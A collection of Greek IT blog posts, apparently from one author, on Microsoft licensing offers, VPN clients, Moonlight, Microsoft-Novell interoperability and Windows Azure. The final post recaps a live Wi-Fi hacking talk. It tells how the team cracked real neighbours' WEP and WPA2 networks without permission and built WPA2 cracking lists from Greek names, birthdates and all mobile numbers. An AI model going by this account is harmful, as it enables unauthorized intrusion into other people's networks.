    o Expression® Studio 2 (or 3) – 1 άδεια χρήσης,
    o Expression® Web 2 (or 3) – 2 άδειες χρήσης
    o Windows Web Server ® 2008 R2 – 3 άδειες χρήσης
    o SQL Server® 2008 Web – 3 άδειες χρήσης
    · Για Παραγωγή και Διάθεση. Αν η εταιρεία φιλοξενεί υπηρεσίες Web (Self-Hosting ή Collocation) και έχει εγγραφεί στο SPLAe ή χρησιμοποιήσει υπηρεσία Dedicated ή Virtual-Dedicated Hosting από συνεργαζόμενο πάροχο υπηρεσιών διαδικτύου, τότε αδειοδοτείται με τέσσερεις παραγωγικές άδειες από:
    o Windows Web Server 2008 R2
    o SQL Server 2008 Web
    · DotNetPanel control panel. Εφαρμογή πίνακα ελέγχου για την αποδοτική διαχείριση των παραμέτρων φιλοξενίας υπηρεσιών.

    Πως σας φαίνεται; Νομίζω πολύ καλό για κάποιον που θέλει να κάνει μία αρχή και να μειώσει τα κόστη του. Φυσικά μοναδική επιβάρυνση είναι ότι όποιος θέλει να φύγει από το πρόγραμμα πριν ή μετά το πέρας τριών ετών, πρέπει να δώσει ένα ποσό της τάξης των 100$.
    Αξίζει. Δεν νομίζετε; Το πρόγραμμα ξεκίνησε στα τέλη του περασμένου χρόνου…δηλαδή πριν 2-3 μήνες και φαίνεται ότι έχει κάνει το ‘κλικ’ στην αγορά. Φυσικά σκοπός δεν είναι άλλος από το να χτυπήσει τις αντίστοιχες λύσεις web development (open source) που χρησιμοποιούνται κατά κόρoν. Πρέπει να σημειώσω ότι από πλευράς marketing είναι πολύ καλή κίνηση, δίνοντας ενα τρομερά ανταγωνιστικό πακέτο μαζί με υποστήριξη. Τελικά τα παιδιά στο τμήμα Marketing του Redmond έχουν πιάσει το νόημα.
    http://www.microsoft.com/WEB/websitespark/
    http://www.mydigitallife.info/2009/10/05/microsoft-websitespark-another-spark-program-for-web-developers/
    http://www.downloadsquad.com/2009/09/24/microsoft-launches-website-spark-hopes-web-devs-will-take-candy/
     
  9. Blackman
    Για όσους είναι κάτοχοι Cisco router, πολύ πιθανόν να έχουν υλοποιήσει VPN και να έχουν προμηθευτεί το Cisco VPN Client, για να κάνουν αυτή την δουλειά. Μία διαδικασία που δεν χρειάζεται να στείνεις κάποιον VPN server, καθώς με την κατάλληλη παραμετροποίηση την λύση την έχουμε μέσω του ίδιου του router.
    Έτσι στην εταιρεία που εργάζομαι, σε όλα τα laptops βάζαμε το σχετικό Cisco VPN client και έχοντας ρυθμίσει τα απαραίτητα (username & password) ο εκάστοτε χρήστης συνδεόταν στο εταιρικό δίκτυο. Τα πράγματα αρκετό καιρό τώρα δεν προχωρούσαν όπως θα έπρεπε. Καθώς ο Cisco VPN client είναι αποκλειστικά για 32bit συστήματα και ΔΕΝ ΛΕΙΤΟΥΡΓΕΙ ΣΕ 64bit συστήματα.
    Η λύση που δίνει η Cisco, λέγεται AnyConnect VPN Client και είναι φτιαγμένος για να παίζει εύκολα στα 64bit συστήματα. Ωραία θα πει κάποιος, υπάρχει λύση, οπότε που είναι το πρόβλημα; Το πρόβλημα εστιάζεται στο ότι εάν έχετε ήδη υλοποίηση με κάποιο router και δουλεύετε το Cisco VPN client, το AnyConnect VPN Client πιθανότατα να μην παίξει σε εσάς. Το 64bit πρόγραμμα βλέπεται παίζει μονάχα σε ASA (Adaptive Security Appliance) και όχι σε άλλου τύπου router της Cisco. Δηλαδή όσοι έχετε το επονομαζόμενο PIX (Private Internet Exchange Firewall) δεν θα καταφέρεται ποτέ να συνδεθείτε με VPN στο σύστημα σας. Τι σημαίνει αυτό; Απλά…θα πρέπει να αλλάξετε router!!!!
    Οπότε σε αυτή την διαδικασία ξεκίνησα αρκετό καιρό τώρα να ψάχνω λύσεις που θα μου έδιναν συνδεσιμότητα με την εταιρεία μέσω 64bit συστήματος. Λύσεις υπάρχουν διάφορες, όπως το OpenVPN και άλλες. Το πρόβλημα όμως ήταν ότι σε όλες τις σχετικές λύσεις θα έπρεπε να γίνει κάποια εγκατάσταση-παραμετροποίηση σε κάποιο μηχάνημα (server ή client) για να κατάφερνα αυτό που ήθελα.
    Τελικά λύση υπάρχει και είναι πολύ πιο εύκολη. Τόσο εύκολη που απλά κάνεις Import το σχετικό .pcf (profile file) και παίζεις. Η λύση είναι ένας Universal IPsec VPN client που ονομάζεται NCP Secure Entry Client και όπως μπορείτε να δείτε αναφέρεται ότι είναι “First IPsec VPN Client Suite for Windows 7 in the world”. Μπορείτε να το δοκιμάσετε για 30 ημέρες σε full έκδοση και στην συνέχεια εάν σας κάνει να το αγοράσετε με κόστος 120€.
    Αξίζει να σημειωθεί ότι υπάρχουν και οι εξής client:
    NCP Secure Entry Symbian Client (κόστος 69€)
    NCP Secure Entry Windows Mobile Client (κόστος 69€)
    Σε αυτή την περίπτωση το μοναδικό πράγμα που έκανα ήταν Import το pcf αρχείο στο πρόγραμμα αυτό και τέλος. Η διαδικασία μου πήρε 1 δευτερόλεπτο και το σύστημα έπαιξε απροβλημάτιστα. Δεν έστησα τίποτα άλλο, δεν παραμετροποίησα τίποτα απολύτως. Απλά χρησιμοποίησα το συγκεκριμένο πρόγραμμα με το pcf αρχείο που είχα.
    Πλέον θέλω να δοκιμάσω και τους δύο clients για τα κινητά για να δω το πόσο καλά λειτουργούν. Μόλις το κάνω και αυτό θα ενημερώσω αντίστοιχα.
  10. Blackman
    Το άκρως επιτυχημένο event που οργάνωσε το Autoexec.gr με τίτλο IT Pro Connections είναι παρελθόν. Σε αυτό το event μου δόθηκε η πρώτη μου ευκαιρία να παρουσιάσω κάτι σε τόσο απαιτητικό κοινό. Πέραν της ικανοποίησης κάτι τέτοιου, καθώς είναι και ψώνιο μου το να εκτίθεμαι μπροστά σε κόσμο, ήρθε μία ακόμα αναγνώριση αυτής της προσπάθειας.
    Η εταιρεία που εργάζομαι κάθε χρόνο βραβεύει τους υπαλλήλους της που κάνουν κάτι …παραπάνω. Είτε αυτό είναι στην εκπαίδευση (είχα πάρει το πρώτο όταν είχα στα χέρια μου το μεταπτυχιακό μου, αλλά και αργότερα όταν έγινα MCP και μετά MCSA), είτε σε κάποια πρόταση βελτίωσης, είτε κάπου αλλού. Για το σκοπό αυτό έχει κατηγοριοποιήσει κάποια πράγματα στα οποία έχουν αποφασίσει να βραβεύουν τους υπαλλήλους που κάνουν κάτι το αντίστοιχο.
    Φέτος αρχικά είχα απογοητευτεί που δεν είχα βραβευτεί μαζί με όλους τους υπόλοιπους για την αναβάθμιση του τίτλου MCSA μου σε WS 2008. Αλλά έπρεπε να περιμένω μέχρι το τέλος για να καταλάβω ότι δεν με είχαν στην απ’ έξω.
    Έτσι είχα την τιμή να πάρω το βραβείο ΠΡΩΤΟΒΟΥΛΙΑΣ για την επιτυχημένη παρουσίαση μου στο IT Pro Connections και την γενικότερη ενασχόληση μου με το κομμάτι του Interoperability, αλλά και τις συνεχόμενες πιστοποιήσεις πάνω στα συστήματα της Microsoft. Φυσικά το βραβείο το συνόδευε και ένα πολύ καλό δώρο.
    Δεν είναι το βραβείο, αλλά η αναγνώριση σε αυτό που κάνει κάποιος. Έτσι και εμένα το συγκεκριμένο απλά μου δίνει μία επιπλέον ώθηση (όχι ότι την χρειαζόμουν, αλλά μου μεγαλώνει λίγο το χαμόγελο) για να συνεχίσω να προσφέρω και να ασχολούμαι με πράγματα που μου αρέσουν τόσο πολύ.
    Φυσικά δεν γινόταν να μην το μοιραστώ με όλους εσάς. Άλλη μία φορά να ευχαριστήσω το Autoexec.gr και τον Νάσο Κλαδάκη, για την τιμή που μου έκαναν και στην συνέχεια της Διοίκηση της εταιρείας Βάμβας που εργάζομαι για την επιβράβευση αυτής της προσπάθειας.
    Γιώργος “Blackman” Καββαλάκης
    Υ.Γ. Τα καλά να λέγονται!!!
  11. Blackman
    Θα μπορούσε να ήταν η νέα ταινία και συνέχεια του γνωστού Moonwalker του εκλιπόντος Michael Jackson, αλλά δεν είναι. Ένα λογοπαίγνιο για την νέα έκδοση του Moonlight για Linux. Σας παραθέτω και την ανακοίνωση που έβγαλε και η ομάδα του project, κάπου στις 17 του περασμένου μήνα, αλλά λόγο εορτών (και full εργασίας) το Blog ήταν κλειστό. (lol)
    We are pleased to announce the availability of Moonlight 2, an open source Linux implementation of Silverlight first announced by Microsoft and Novell in September of 2007. Moonlight is the first and only open source project that provides Linux users access to Silverlight content. Microsoft has provided Novell with access to its test suites for Silverlight, and provides Linux end users of Moonlight with free access to the Microsoft Media Pack, a set of licensed media codecs for video and audio. In addition, Microsoft and Novell are also announcing the expansion of their collaboration on Moonlight to include support for Moonlight implementations of Silverlight 3 and Silverlight 4. As part of the companies’ interoperability agreement, Microsoft will deliver new test suites and specifications for Silverlight 3 and 4 to Novell.
    Το νέο Moonlight είναι φυσικά συμβατό με το Silverlight 2, αλλά εμπεριέχει και μερικά στοιχεία του Silverlight 3 που πρόκειται να βγει, όπως Bitmap APIs, file dialogs, easing functions, pluggable media pipeline και custom Codecs. Η ποιότητα του streaming έχει βελτιωθεί, αλλά αυτό εξαρτάται φυσικά και από την σύνδεση που μπορεί να έχει ο χρήστης. Να επισημάνω επίσης ότι σε αυτή την έκδοση εμπεριέχει και το Mono runtime functionality, όπου οι developers μπορούν να φτιάξουν αρκετά ωραία πράγματα με διάφορες γλώσσες προγραμματισμού.
    Εν αναμονή και του Moonlight 3…
  12. Blackman
    Ήταν πριν τρία χρόνια όταν η Microsoft ανακοίνωσε την συνεργασία της με την Novell. Στο άκουσμα του παραπάνω όλοι κατάλαβαν ότι όλα κινούνται γύρω από την επιχειρηματική λογική. Τι σημαίνει αυτό; Ότι όλα είναι Business baby…
    Δύο εταιρείες που πολλές φορές είχαν έρθει σε ανοιχτή κόντρα, κυρίως για την μονοπωλιακή πολιτική της Microsoft, ήταν πλέον συνεργάτες. Τι έγινε όμως για να φτάσουμε ως εδώ; Η απάντηση είναι… όλοι εμείς. Πελάτες με περίπλοκες εγκαταστάσεις, με windows & linux λειτουργικά, με αρκετό open source και πολλά πολλά άλλα.
    Πολλές εταιρείες αποφάσιζαν να χρησιμοποιήσουν πχ έναν Linux email server, χωρίς όμως ποτέ να υπολογίσουν το όποιο κόστος για να καταφέρουν όλο το παραπάνω να δουλέψει με το υπόλοιπο δίκτυο. Έτσι είχαμε εγκαταστάσεις παρατημένες, γιατί ο πρώην admin ήξερε να χρησιμοποιεί linux, αλλά ο νέος έχει γνώσεις για Exchange και το αφεντικό δεν θέλει να γίνει migration (άλλη περίπτωση αυτή) αλλά το σύστημα να δουλεύει. Ο νέος admin στην συνέχεια έχει γίνει μοναχός στο Άγιο Όρος από τις προσευχές για να μην πάθει τίποτα ο mail server.
    Σε αυτό το σημείο ήρθε η συνεργασία της Microsoft με την Novell. Έτσι συμφώνησαν να αναπτύξουν προϊόντα σε ανοιχτά πρότυπα, έτσι ώστε όλοι εμείς να μην ανησυχούμε στο πως μπορούμε να δουλέψουμε διαφορετικές πλατφόρμες, ενοποιημένες σε ένα σύστημα.
    Η αρχική συνεργασία των δύο ήταν πάνω στα εξής 4: Virtualization,Standards Based Systems Management, Standards Based Identity and Federation, και Document Format Compatibility. Στην συνέχεια η συνεργασία προχώρησε περεταίρω και στα εξής 3: Moonlight, Linux Management for MS System Center, και Windows Accesibility.
    Virtualization (που είσαι Hyper-Vaggelaki;)
    Η συνεργασία σε επίπεδο Virtualization είχε να κάνει με το να εκμεταλλευτούν και οι δύο εταιρείες τον virtualization Hypervisor της άλλης (ένα χιαστί πράγμα δηλαδή). Αυτό έγινε εφικτό εφαρμόζοντας ένα σετ από VM adapters σχεδιασμένους για την επικοινωνία των XEN Visor και Windows Hyper V. Αυτοί οι λεγόμενοι Hyper-call adapters, μαζί με αντίστοιχους drivers για το storage και τις σχετικές συσκευές, μπήκαν σε ένα πακέτο και δόθηκαν στους πελάτες ως Linux Integration Components (Download). Αυτά τα components μπορεί κάποιος να τα κατεβάσει και να τα βάλει στο Guest λειτουργικό, όπου στην συνέχεια με μία απλή επανεκκίνηση ο χρήστης μπορεί να έχει όλα τα εξτρά (“additional performance of being and enlightened or para-virtualized guest” όπως τα αναφέρει η MS). Φυσικά στην περίπτωση μας, δεν μιλάμε γενικά για Linux, αλλά πιο συγκεκριμένα για το SUSE Linux το οποίο και υποστηρίζει η Novell και ουσιαστικά γίνεται το μοναδικό Linux λειτουργικό που υποστηρίζεται επίσημα στον Hyper-V. Πρόσφατα, η Microsoft προσέφερε στην κοινότητα του Open Source τα συγκεκριμένα components μέσω του GPL V2 License (όπου έχετε ξαναδιαβάσει και σε αυτό το blog).
    Το τελευταίο διάστημα τα πράγματα προχωράνε σε λύση Virtualization V2. Το μεγάλο ατού σε αυτό, είναι ότι πλέον το SUSE Linux όχι απλά υποστηρίζεται στον Windows Server 2008 R2, αλλά διατυμπανίζουν πλέον και την δυνατότητα του Live Migration. Που φτάσαμε; Πλέον όλοι θα μπορείτε να κάνετε ‘βόλτες’ από μηχάνημα σε μηχάνημα χωρίς downtime. (Που είσαι ρε Βαγγέλη Με αυτό τον τρόπο η MS κατάφερε να κλείσει το κενό που είχε με τον κύριο αντίπαλο της σε θέματα virtualization, που λέγετε VMWARE.

    Διαχείριση
    Σε αυτό το κομμάτι, οι δύο εταιρείες είχαν αρχικά συμφωνήσει προσκολλήσουν στο standard του WSMan πρωτοκόλλου για την διαχείριση συστημάτων (Systems Management). Έτσι και οι δύο εταιρείες χρησιμοποίησαν το παραπάνω standard για server monitoring αντίστοιχα στα Microsoft System Center Operations Manager και της Novell το Zenworks Management Platform. Αλλά αυτό δεν είναι το σημείο στο οποίο πρέπει να μείνουμε, καθώς από το 2008 δημιουργήθηκε το Linux Management Pack (download) από την Novell για να εγκατασταθεί μαζί με το System Center της Microsoft. Καλό ε; Έτσι με αυτό το πακέτο, μέσω του System Center ο admin θα μπορούσε να παρακολουθήσει 7 κύρια service όπως: Samba, Bind/DNS, DCHP, LDAP, CUPS, Firewall, και NFS. Φυσικά ο περιορισμός του συγκεκριμένου πακέτου είναι ότι επίσημα υποστηρίζει μόνο SUSE Linux.

    Identity and Federation
    Στο συγκεκριμένο κομμάτι, η συνεργασία των δύο εταιρειών έγινε πραγματικότητα μέσω των Active Directory Federation Service της Microsoft και του Access Manager της Novell. Και τα δύο αυτά προϊόντα συνεργάζονται μέσω των WS Federation Protocols, συμπεριλαμβανομένων και των WS Trust and WS Security. Με αυτό το μοντέλο οι πελάτες μπορούν να εκμεταλλευτούν εφαρμογές όπως το Microsoft SharePoint ή κάποια άλλα. Η προσπάθεια που γίνεται αυτή την στιγμή είναι η δημιουργία ενός πακέτου που θα επεκτείνει το SharePoint και σε περιβάλλοντα που δεν χρησιμοποιούν Active Directory.

    Moonlight
    Ακόμα ένα πράγμα που έχετε διαβάσει σε αυτό το blog, έχει να κάνει με την δημιουργεία του moonlight, που δεν είναι τίποτα άλλο από την δυνατότητα ύπαρξης του Silverlight στο Linux. Η συνεργασία σε αυτό το κομμάτι, έφερε το Silverlight και στους open source Browsers. Πλέον το Moonlight 2 είναι διαθέσιμο.
    Office Format Compatibility
    Επίσης ένας τομέας που έχει συζητηθεί και σε αυτό το blog, οπότε δεν θα επεκταθώ και έχει να κάνει με την συμβατότητα του Open Office και του MS Office και των format που αυτά χρησιμοποιούν. Προσωπικά πιστεύω ότι έχουν γίνει βήματα σωστά, αλλά υπάρχουν ακόμα αρκετά να γίνουν ώστε να μπορεί κάποιος να μιλήσει για πλήρης συμβατότητα.
    Accesibility Collaboration
    Ένα project το οποίο είναι εν εξελίξει και θα επιτρέπει το UIA (User Interface AUtomation) framework να λειτουργεί αρμονικά μέσα στα Linux Accessibility Projects.
    Επίλογος
    Η συνεργασία των δύο προχωράει και από αυτά που έχουν συμφωνηθεί, έχουμε και άλλα να δούμε. Περισσότερες από 475 μεγάλες εταιρείες παγκοσμίως βρίσκονται στο interop-πελατολόγιo των MS & Novell. Τα πράγματα προχωράνε προς αυτή την κατεύθυνση και οι σκληροπυρηνικοί linuxάδες απλά θα πρέπει να ξεκινήσουν να νιώθουν λίγο καλύτερα με την MS ή M$ όπως συνήθως την γράφουν. Όπως και να έχει το πράγμα, μην ξεχνάμε ότι όλα είναι business και τουλάχιστον εμείς οι χρήστες είμαστε αυτοί που έχουμε κέρδος από κάτι σαν και αυτό.
    Τα σχόλια; Δικά σας…
  13. Blackman
    Πρόσφατα ένας φίλος με ρωτούσε για να μάθει τι είναι cloud computing και πως εμπλέκετε και τι είναι η πλατφόρμα Windows Azure. Αποφάσισα και εγώ σαν καλό παιδί και καλός φίλος να κάνω ακόμα ένα blog post ώστε να ξεδιαλύνω το περιβάλλον. Ας τα πάρουμε όλα όμως από την αρχή και βήμα βήμα.
    Τί είναι cloud computing?
    Η γενική έννοια του όρου είναι η τεχνολογία που χρησιμοποιεί και είναι βασισμένη στο Internet. Σε αυτή την περίπτωση ο χρήστης έχει πρόσβαση σε τεχνολογίες και προγράμματα που δεν απαιτούν ιδιαίτερη διαχείριση σαν τεχνολογία από τον ίδιο, αλλά απλά μόνο να λειτουργεί αυτό που του προσφέρεται. Εμπεριέχει την προσφορά συγκεκριμένων πόρων στον χρήστη σαν υπηρεσία μέσω Internet.
    Φυσικά καταλαβαίνουμε όλοι ότι ο όρος cloud είναι μεταφορικός και αναφέρεται στο διαδίκτυο. Στις περισσότερες των περιπτώσεων η πρόσβαση σε τεχνολογίες cloud χρειάζεται απλά και μόνο ένας internet browser. Συνεπώς καταλαβαίνουμε όλοι ότι σε ένα τέτοιο σύστημα ο όρος Interoperability έρχεται και ορίζει την όλη κατάσταση. Γιατί; Γιατί πολύ απλά μπορεί ο κάθε χρήστης Windows, Linux, Mac OS, Symbian, Solaris κλπ που έχει πρόσβαση στο διαδίκτυο και έχει και ένα browser να λειτουργεί ακριβώς το ίδιο αυτές τις υπηρεσίες.
    Φυσικά στο παρελθόν η γενικότερη εξήγηση που έδιναν στους χρήστες ήταν ότι το μοναδικό πράγμα που θα χρειάζεται ο καθένας είναι απλά να έχει internet, οθόνη και πληκτρολόγιο. Προσωπικά η ιδέα δεν μου άρεσε, καθώς σαν άνθρωπος και κλασσικός έλληνας το μυαλό μου πήγαινε αλλού. Ήδη όμως οι περισσότεροι έχουμε μπει στον κόσμο του cloud computing με τον ένα ή τον άλλο τρόπο.
    Μέχρι εδώ φαντάζομαι ότι έχετε ήδη καταλάβει ότι τέτοια τεχνολογία είναι υπηρεσίες όπως τα Google Docs, το SkyDrive της Microsoft, καθώς και πολλά άλλα που υπάρχουν ήδη στο Internet.
    Τι κέρδος έχει κάποιος χρησιμοποιώντας αυτές τις τεχνολογίες; Φυσικά γίνεται hardware-independent, καθώς δεν τον ενδιαφέρει να έχει τον δικό του υπολογιστή διαθέσιμο, αλλά απλά να έχει πρόσβαση στο internet. Οι τεχνολογίες που χρησιμοποιούνται είναι επί το πλείστον virtualized και προφανώς ακούγανε τον Hyper-Vaggeli να λέει Virtualize Everything και αποφασίσανε να τα έχουν σε virtual machines (το μεγαλύτερο μέρος βάση πληροφοριών).
    Φυσικά στο autoexec.gr έχουν γραφτεί κατά καιρούς άρθρα πάνω στο cloud computing
    http://autoexec.gr/blogs/thessalonikiitpros/archive/2008/12/17/cloud-computing.aspx
    http://autoexec.gr/blogs/thessalonikiitpros/archive/2009/04/02/14638.aspx
    http://autoexec.gr/blogs/ontheroad/archive/2009/09/01/google-clouds-in-the-sky.aspx

     
     
    Windows Azure

    Εφόσον καταλάβατε την έννοια του cloud computing, ας προχωρήσουμε στα windows azure. Μιλάμε για μία cloud πλατφόρμα η οποία είναι να κυκλοφορήσει από την Microsoft την πρώτη ημέρα του 2010. Αυτή η κίνηση έρχεται σε συνέχεια των Microsoft Online Services (πχ SkyDrive).
    Οι Azure Services Platform είναι μία πλατφόρμα υπηρεσιών που θα είναι εγκατεστημένοι και θα τρέχουν σε μεγάλα Datacenters της Microsoft. Ουσιαστικά προσφέρει ολόκληρο το λειτουργικό μέσω cloud και προσφέρει ένα σετ υπηρεσιών που ο χρήστης θα μπορεί να επεξεργαστεί, να διαχειριστεί, να κάνει development. Κοινώς δεν μιλάμε μόνο για κάποιες υπηρεσίες, αλλά για ολόκληρο λειτουργικό με πολλές υπηρεσίες μαζεμένες.
    Τα Windows Azure θα έρθουν στις εξής εκδόσεις:
    Compute (προσφέρει περιβάλλον για υπολογισμούς με τους Web & Worker ρόλους) Storage (προσφέρει περισσότερο storage [blogs, tables, queues] για όσους έχουν μεγαλύτερες ανάγκες) Fabric (The hosting environment of Windows Azure is called the Fabric Controller - which pools individual systems into a network that automatically manages resources, load balancing, geo-replication and application lifecycle without requiring the hosted apps to explicitly deal with those requirements. In addition, it also provides other services that most applications require — such as the Windows Azure Storage Service that provides applications with the capability to store unstructured data such as binary large objects, queues and non-relational tables. Applications can also use other services that are a part of the Azure Services Platform.) Ένα από τα επιπρόσθετα καλά του συστήματος είναι ότι προσφέρει δυνατότητα στους developers να δημιουργήσουν προγράμματα που θα δουλεύουν ομαλά σε windows azure και αυτό δίνοντας τα σχετικά APIs. Είχα αναφέρει σε παλαιότερο blog μου για το σχετικό tool που είχε γίνει διαθέσιμο για τον συγκεκριμένο σκοπό.
    http://blogs.zdnet.com/microsoft/?p=2776
    Να αναφέρουμε ότι η υπηρεσία είναι διαθέσιμη έχοντας κάποιο κόστος και ο αγαπητός atsouch έχει δώσει κάποιο σχετικό τιμοκατάλογο των υπηρεσιών
    http://autoexec.gr/blogs/bits_and_bytes/archive/2009/07/17/windows-azure.aspx
    όπου έχει και ένα ωραίο συγκριτικό με τους ανταγωνιστές του συγκεκριμένου συστήματος

    Στην σχετική σελίδα της Microsoft για το Windows Azure, θα δείτε χαρακτηριστικά:
    Use Windows Azure to:
    Run commodity processes in the cloud Build, modify, and distribute scalable applications with minimal on-premises resources Perform large-volume storage, batch processing, intense or large-volume computations Create, test, debug, and distribute Web services quickly and inexpensively και φυσικά τα σχετικά benefits
    Windows Azure Benefits
    Bring your ideas to market faster and pay as you go Reduce costs of building and extending on-premises resources Reduce the effort and costs of IT management Respond quickly to changes in your business and customer needs Choose an on-premises or off-premises deployment model that best suits your needs. Scale your IT resources up and down based on your needs. Consume computing resources ONLY when the needs arise. Focus less energy on managing operational resources and constraints. Remove the need to manage hardware Use your existing development skills to build cloud applications Consistent development and management experience across on-premises and the cloud. και αν με όλα τα παραπάνω δεν καταλάβατε τι είναι όλο αυτό, δείτε και το σχετικό Video
    Επίλογος
    Μετά από όλα τα αυτά, μπορείτε όλοι να καταλάβετε που οδηγούμαστε. Οι περισσότεροι ίσως να σκέφτεστε ότι προτιμάτε τον δικό σας σκληρό δίσκο να τον έχετε σπίτι σας, αντί σε ένα datacenter κάπου στο Cincinati, αλλά για άλλους μπορεί να είναι λύση. Σκεφτείτε επίσης σε επίπεδο εταιρικό τι μείωση κόστους μπορεί να προσφέρει μία τέτοια υπηρεσία ειδικότερα σε χρήστες που δουλεύουν συνεχώς εκτός γραφείου.
    Παρόλα αυτά όπως ανέφερα και πιο πάνω, το cloud computing φέρνει ακόμα πιο κοντά όλα τα διαφορετικά συστήματα με το Interoperability που προσφέρει και την δυνατότητα που δίνει ακόμα και σε developers διαφορετικής τεχνολογίας, να χρησιμοποιήσουν τα APIs των Windows Azure για να φτιάξουν πράγματα που όλοι οι υπόλοιποι θα μπορούν να χρησιμοποιήσουν.
    Όπως και να έχει πάντως, για εμάς είναι μία ακόμα λύση. Μία λύση που την χαρακτηρίζει η παγκοσμιοποίηση, καθώς χρήστες στο Κουβέιτ θα δουλεύουν τα αρχεία τους που βρίσκονται σε datacenter στο Mexico και θα τα έχουν ακόμα διαθέσιμα και όταν πάνε σε ένα Internet cafe στην Ταϋλάνδη.
    Το τι μέλη γενέσθαι, θα πρέπει να περιμένουμε ένα μήνα ακόμα, μέχρι να κυκλοφορήσουν επίσημα στην αγορά.
  14. Blackman
    Διάβασα το άρθρο του Βαγγέλη και δεν κρατήθηκα. Έπρεπε να γράψω και εγώ. Να δώσω και εγώ την δική μου εικόνα και να ευχαριστήσω πολύ κόσμο για αυτό το event. Αρχικά να ευχαριστήσω τους διοργανωτές και δη τα μεγάλα κεφάλια του autoexec.gr (κοινώς moderators) που μου έκαναν την τιμή και με κάλεσαν σε αυτό το τόσο μεγάλο event. Ήταν το πρώτο μου και ευελπιστώ να ακολουθήσουν και άλλα.

    Στην συνέχεια να ευχαριστήσω όλους όσους ήρθαν και παρακολούθησαν την εκδήλωση αυτή και η αίσθηση πραγματικά ήταν ξεχωριστή. Όπως ανέφερα, ήταν η πρώτη μου παρουσίαση, όχι γενικά, αλλά σε τέτοιο κοινό. Πρώτη φορά μίλησα σε συναδέλφους μου και φυσικά το υψηλό επίπεδο των ακροατών μου έδωσε ένα ξεχωριστό συναίσθημα.







    Τέλος να ευχαριστήσω και τους υπόλοιπους ομιλητές, γιατί απλά είναι αυτοί που είναι. Ξεχωριστά άτομα ο καθένας τους. Καθώς ακόμα και τα υπόλοιπα παιδιά, behind the scenes για την εξαιρετική δουλειά τους. Το να ετοιμάζουν όλα αυτά είναι πραγματικά κάτι το ξεχωριστό. Νομίζω όλους τους τους ανέφερε ονομαστικά ο φίλος Βαγγέλης(την Παρασκευή στήναμε μέχρι το πρωί. Πολύ ξενύχτι λέμε)

    Τέλος, last but not least, όπως λένε και οι φίλοι μας οι Αμερικάνοι, πολλά ευχαριστώ στον έτερο συνπαρουσιαστή Γιώργο ‘gspiliot’ Σπιλιώτη για την ωραία ομάδα που φτιάξαμε. Ενώ ο χώρος στο ξενοδοχείο Imperial έπαιξε σημαντικό ρόλο για την επιτυχία της εκδήλωσης.

    Τα πράγματα για εμάς ήρθαν τόσο απλά, όσο ένα τηλεφώνημα…

    -Μπορείς να σπάσεις live ασύρματο δίκτυο;

    -Εύκολα…υπό προϋποθέσεις και ότι πρωτόκολλο θες.

    -Μου αρκεί…

    κάπως έτσι πήραμε το πρώτο οκ, για την παρουσία μας και εφόσον είχαμε δείξει κάποια δουλειά πάνω στο αντικείμενο (όσοι παρακολουθούν το Blog μου καταλαβαίνουν τι εννοώ).

    Η δουλειά για εμάς ξεκίνησε από τον Ιούλιο. Συνεχείς δοκιμές για να hackάρουμε διάφορα δίκτυα και περισσότερο εκεί που δουλεύω, στην Αγία Παρασκευή. Ναι, για τις δοκιμές μας ίσως κάποιος από εσάς να περάσατε από το δικό μας σκανάρισμα και αν είχατε και WEP, τότε συνδεθήκαμε σε εσάς. Στις προσπάθειες μας, σπάσαμε γύρω στα 7 WEP από τα 8 που βρήκαμε εκείνη την περίοδο(ένα δεν είχε καλό σήμα), ενώ επίσης δύο με WPA2 με χρήση password list. (όλα αυτά για να έχουμε real life tests και όχι σε κατάσταση lab)

    Στην συνέχεια, οι επόμενες επαφές έγιναν μαζί με τον Γιώργο τον Σεπτέμβρη, όπου αποφασίσαμε ότι θα δείξουμε και prehashed lists. Αρχικά πήγαμε να κατεβάσουμε μία λίστα που υπάρχει διαθέσιμη στο Internet και είναι μεγέθους 33GB, αλλά στην πορεία αποφασίσαμε να φτιάξουμε δικές μας για να γίνει και πιο εντυπωσιακό το όλο κατόρθωμα. Μας πήρε ΔΥΟ ΜΗΝΕΣ για να ολοκληρωθεί η παραγωγή αυτών των δύο prehashed lists. Δύο λίστες φυσικά που θα γίνουν ανάρπαστες μόλις τις βγάλουμε διαθέσιμες για κατέβασμα.

    Με τι ασχοληθήκαμε; Όσοι παρακολούθησαν γνωρίζουν, αλλά κάποιοι ίσως να μην κατάλαβαν καλά. Η πρώτη και πιο μικρή λίστα, ήταν ΟΛΑ τα ανδρικά ονόματα με συνδυασμούς της ημερομηνίας γέννησης (πχ giwrgos1711980 ή Vangelis1956 ή όποιος άλλος συνδυασμός του ονόματος με κεφαλαία-πεζά και τους σχετικούς τρόπους γραφής καθώς και όλους τους τρόπους γραφής της ημερομηνίας). Ο μοναδικός περιορισμός ήταν ότι βάλαμε ημερομηνίες μετά το 1940.

    Η δεύτερη prehashed list ήταν και η πιο δυνατή, καθώς πολύ απλά φτιάξαμε μία λίστα με ΟΛΑ ΤΑ ΚΙΝΗΤΑ ΤΗΛΕΦΩΝΑ ΤΗΣ ΕΛΛΑΔΑΣ. Ναι, σε αυτή την λίστα θα βρείτε τα κινητά σας και όποιου γνωστούς σας. Η συγκεκριμένη λίστα είναι ένα αρχείο 2GB και γράφτηκε σε Perl ώστε να γίνει ο υπολογισμός όλων των τηλεφώνων. Το σκεπτικό; Απλό. 69ΧΧΧΧΧΧΧΧ όπου Χ, όλα τα νούμερα από την αρχή. Φυσικά βγάλαμε και κάποια εκτός όπως το 691ΧΧΧΧΧΧΧ.

    Με το παραπάνω ουσιαστικά ολοκληρώσαμε μετά από 3 μήνες προετοιμασίας την δουλειά μας και αφοσιωθήκαμε στην παρουσίαση αυτών.

    Για να δούμε τι είδατε στην παρουσίαση μας.



    Τι είναι WEP, WPA, WPA2 Personal/Enterprise

    Πόσο εύκολα μπορεί κάποιος να κάνει την ζημιά, χωρίς ιδιαίτερο εξοπλισμό. Δείξαμε εκεί ένα Asus 701 4G (160€ πωλείται πλέον), το οποίο δεν είχε καν φορτωμένο το σχετικό λογισμικό, αλλά όλα μέσω ενός Live USB stick 1GB με Backtrack 3.

    Ποιο είναι το σκεπτικό που ακολουθείται για να γίνει το wifi hacking (assosiation, deauthentication, ARP capture κλπ)

    Με τι εργαλεία μπορεί να γίνει αυτό. Εμείς παρουσιάσαμε με aircrack-ng πάνω σε Backtrack 4

    Τι να προσέχετε και τι να αποφεύγετε.

    Τι χρειάζεται να έχετε αν θέλετε να δοκιμάσετε εσείς. Περιορισμούς από την ασύρματη κάρτα δικτύου (chipset, drivers κλπ)

    Είδαμε Live Hacking σε WEP και δύο φορές σε WPA2 με password list και με prehashed list.

